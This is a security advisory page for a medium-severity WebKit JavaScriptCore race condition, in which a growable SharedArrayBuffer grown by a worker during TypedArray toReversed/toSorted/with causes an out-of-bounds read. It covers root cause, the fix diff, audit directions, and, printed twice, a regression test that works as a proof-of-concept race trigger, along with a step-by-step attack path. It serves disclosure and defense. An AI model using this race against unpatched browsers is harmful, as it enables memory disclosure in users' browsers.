Medium CVSS 6.5 webkit Race 🔧 Commit mapped

Overview

Medium
Severity
6.5
CVSS
No
Exploited ITW
Fixed
Fix Status
DescriptionProcessing maliciously crafted web content may lead to an unexpected process crash
ComponentJSC
Sub-componentJSC Runtime
Bug ClassRace
Tracker307723
Fix commit4c82252b8b2f (WebKit/WebKit) +49/-14
CWECWE-125, CWE-416, CWE-787, CWE-120 (Out-of-bounds read, Use-after-free, Out-of-bounds write, Buffer overflow)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CISA KEVNot listed
CreditedMinse Kim, Narcis Oliveras Fontàs, Söhnke Benedikt Fischedick (Tripton), Daniel Rhea, Nathaniel Oh (@calysteon)
Disclosed2026-03-24

Background

Growable SharedArrayBuffer
A SharedArrayBuffer created with maxByteLength that another agent can grow (never shrink) concurrently.
TypedArray immutable methods
toReversed/toSorted/with return a new typed array copy of the receiver’s contents.
typedSpan()
A view (pointer+size) over the typed array’s current backing storage, which can change if the SAB grows.
TOCTOU
A time-of-check/time-of-use race: length is read at one time and used to copy at another, during which the backing can change.

Root Cause Analysis

The immutable TypedArray prototype methods toReversed, toSorted and with (genericTypedArrayViewProtoFunc*) computed a length and then, in a separate step, obtained the source data span to copy into the freshly-allocated result. In toReversed/toSorted the code read size_t length = thisObject->length();, allocated the result of that length, then re-fetched from = thisObject->typedSpan() and copied length elements (with only an ASSERT that from.size()==length). When the typed array is backed by a growable SharedArrayBuffer, another agent can grow the SAB (SABs can grow but never shrink) concurrently between the length read and the copy, so the re-fetched span no longer matches the captured length, and the backing storage may have been reallocated. Copying length elements from a span whose size/pointer changed is an out-of-bounds read (and the ASSERT is not present in release builds).

The fix snapshots the span once — auto originalSpan = thisObject->typedSpan(); size_t length = originalSpan.size(); — and copies from that exact snapshot, so the length and the source pointer are mutually consistent; with similarly snapshots maybeUpdatedSpan and compares its size to the earlier length.

The restored invariant is that the element count and the source buffer used for the copy come from a single atomic view of the array, immune to a concurrent grow.

Key insight
The immutable TypedArray methods read the length and the source span in two separate steps, so a concurrent growable-SAB grow between them caused an out-of-bounds copy; snapshotting the span once makes length and source consistent.

Attack Path

  1. Share a growable SAB Create a growable SharedArrayBuffer (maxByteLength set) and a TypedArray view over it, and share the SAB with a worker agent.
  2. Grow in parallel The worker repeatedly calls sab.grow(…) in a tight loop, changing the view’s length/backing during main-thread operations.
  3. Call the immutable methods On the main thread repeatedly call ta.toReversed()/toSorted()/with(…), which read length then re-fetch the span to copy.
  4. Out-of-bounds copy A grow lands between the length read and the copy, so the method copies using a stale length against a changed span — an OOB read / memory corruption in WebContent.

Impact Assessment

A concurrency OOB read where a stale length is used to copy from a span whose growable-SAB backing changed underneath, in the WebContent process. The attacker controls the race via a worker growing the SAB, giving a repeatable out-of-bounds read that can disclose adjacent heap memory and potentially corrupt the result buffer; turning it into a strong primitive needs race-timing and grooming. Confined to WebContent. Rated medium.

Changed Functions

FunctionChangeNotes
for
JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
modified
if
JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
modified

Files Changed

  • JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
  • Source/JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h

Audit Directions

  • Other prototype methods re-fetching spans
    grep JSGenericTypedArrayView*Functions for thisObject->length() followed later by a fresh typedSpan()/data pointer used in a copy; require a single snapshot.
  • SAB grow races generally
    Audit typed-array/DataView fast paths that cache length across an allocation or user callback for growable-SAB TOCTOU (getByteLength, set, slice, subarray).
  • ASSERT-only size checks
    Find ASSERT(x.size() == length) around copyElements where the size can change at runtime, since release builds elide the check.
diff --git a/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h b/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h
index 0351cbb12482..ab4126c46888 100644
--- a/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h
+++ b/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewPrototypeFunctions.h
@@ -1636,19 +1636,19 @@ ALWAYS_INLINE EncodedJSValue genericTypedArrayViewProtoFuncToReversed(VM& vm, JS
     validateTypedArray(globalObject, thisObject);
     RETURN_IF_EXCEPTION(scope, { });
 
-    size_t length = thisObject->length();
+    // Snapshot the span at this time, as SABs may grow (but never shrink) in parallel.
+    auto originalSpan = const_cast<const ViewClass*>(thisObject)->typedSpan();
+    size_t length = originalSpan.size();
 
     bool isResizableOrGrowableShared = false;
     Structure* structure = globalObject->typedArrayStructure(ViewClass::TypedArrayStorageType, isResizableOrGrowableShared);
     ViewClass* result = ViewClass::createUninitialized(globalObject, structure, length);
     RETURN_IF_EXCEPTION(scope, { });
 
-    auto from = const_cast<const ViewClass*>(thisObject)->typedSpan();
-    ASSERT(from.size() == length);
     auto to = result->typedSpan();
     ASSERT(to.size() == length);
 
-    WTF::copyElements(to, from);
+    WTF::copyElements(to, originalSpan);
     std::ranges::reverse(to);
 
     return JSValue::encode(result);
@@ -1782,18 +1782,18 @@ ALWAYS_INLINE EncodedJSValue genericTypedArrayViewProtoFuncToSorted(VM& vm, JSGl
     validateTypedArray(globalObject, thisObject);
     RETURN_IF_EXCEPTION(scope, { });
 
-    size_t length = thisObject->length();
+    // Snapshot the span at this time, as SABs may grow (but never shrink) in parallel.
+    auto originalSpan = const_cast<const ViewClass*>(thisObject)->typedSpan();
+    size_t length = originalSpan.size();
 
     bool isResizableOrGrowableShared = false;
     Structure* structure = globalObject->typedArrayStructure(ViewClass::TypedArrayStorageType, isResizableOrGrowableShared);
     ViewClass* result = ViewClass::createUninitialized(globalObject, structure, length);
     RETURN_IF_EXCEPTION(scope, { });
 
-    auto from = const_cast<const ViewClass*>(thisObject)->typedSpan();
-    ASSERT(from.size() == length);
     auto to = result->typedSpan();
 
-    WTF::copyElements(to, from);
+    WTF::copyElements(to, originalSpan);
 
     RELEASE_AND_RETURN(scope, genericTypedArrayViewProtoFuncSortImpl(vm, globalObject, result, comparatorValue));
 }
@@ -2108,12 +2108,13 @@ ALWAYS_INLINE EncodedJSValue genericTypedArrayViewProtoFuncWith(VM& vm, JSGlobal
     ViewClass* result = ViewClass::createUninitialized(globalObject, structure, thisLength);
     RETURN_IF_EXCEPTION(scope, { });
 
-    size_t updatedLength = thisObject->length();
-    if (thisLength != updatedLength) [[unlikely]] {
+    // Snapshot the span at this time, as SABs may grow (but never shrink) in parallel.
+    auto maybeUpdatedSpan = const_cast<const ViewClass*>(thisObject)->typedSpan();
+    if (thisLength != maybeUpdatedSpan.size()) [[unlikely]] {
         // If TypedArray is shrunk, remaining part will be filled with NativeValue(undefined).
         // But BigInt64Array / BigUint64Array throws a TypeError since undefined cannot be converted to BigInt.
         if constexpr (ViewClass::Adaptor::isBigInt) {
-            if (thisLength > updatedLength) [[unlikely]]
+            if (thisLength > maybeUpdatedSpan.size()) [[unlikely]]
                 return throwVMTypeError(globalObject, scope, "Cannot convert undefined to BigInt"_s);
         }
 
@@ -2128,10 +2129,8 @@ ALWAYS_INLINE EncodedJSValue genericTypedArrayViewProtoFuncWith(VM& vm, JSGlobal
             result->setIndexQuicklyToNativeValue(index, fromValue);
         }
     } else {
-        auto from = const_cast<const ViewClass*>(thisObject)->typedSpan();
-        ASSERT(from.size() == thisLength);
         auto to = result->typedSpan();
-        WTF::copyElements(to, from);
+        WTF::copyElements(to, maybeUpdatedSpan);
         to[replaceIndex] = nativeValue;
     }
 
diff --git a/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js b/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
new file mode 100644
index 000000000000..77e099108dbb
--- /dev/null
+++ b/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
@@ -0,0 +1,36 @@
+const ROUNDS = 10;
+const ITERATIONS_PER_ROUND = 5000;
+
+for (let round = 0; round < ROUNDS; round++) {
+    const N = 16;
+    const maxBytes = N * 4 + 4096;
+    const sab = new SharedArrayBuffer(N * 4, { maxByteLength: maxBytes });
+    const ta = new Int32Array(sab);
+
+    $.agent.start(`
+        $.agent.receiveBroadcast((sab, idx) => {
+            for (let i = 0; i < 50000; i++) {
+                try {
+                    if (sab.byteLength < ${maxBytes}) {
+                        sab.grow(sab.byteLength + 64);
+                    }
+                } catch (e) {}
+            }
+            $.agent.report("done");
+            $.agent.leaving();
+        });
+    `);
+
+    $.agent.broadcast(sab, 0);
+
+    for (let i = 0; i < ITERATIONS_PER_ROUND; i++) {
+        try {
+            ta.with(0, 0x41414141);
+            ta.toReversed();
+            ta.toSorted();
+        } catch (e) {}
+    }
+
+    $.agent.sleep(50);
+    $.agent.getReport();
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js b/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
new file mode 100644
index 000000000000..77e099108dbb
--- /dev/null
+++ b/JSTests/stress/growable-sharedarraybuffer-parallel-grow-during-prototype-methods.js
@@ -0,0 +1,36 @@
+const ROUNDS = 10;
+const ITERATIONS_PER_ROUND = 5000;
+
+for (let round = 0; round < ROUNDS; round++) {
+    const N = 16;
+    const maxBytes = N * 4 + 4096;
+    const sab = new SharedArrayBuffer(N * 4, { maxByteLength: maxBytes });
+    const ta = new Int32Array(sab);
+
+    $.agent.start(`
+        $.agent.receiveBroadcast((sab, idx) => {
+            for (let i = 0; i < 50000; i++) {
+                try {
+                    if (sab.byteLength < ${maxBytes}) {
+                        sab.grow(sab.byteLength + 64);
+                    }
+                } catch (e) {}
+            }
+            $.agent.report("done");
+            $.agent.leaving();
+        });
+    `);
+
+    $.agent.broadcast(sab, 0);
+
+    for (let i = 0; i < ITERATIONS_PER_ROUND; i++) {
+        try {
+            ta.with(0, 0x41414141);
+            ta.toReversed();
+            ta.toSorted();
+        } catch (e) {}
+    }
+
+    $.agent.sleep(50);
+    $.agent.getReport();
+}
Loading diff…

Original Bug Report

The reporter's bug is still restricted on the tracker.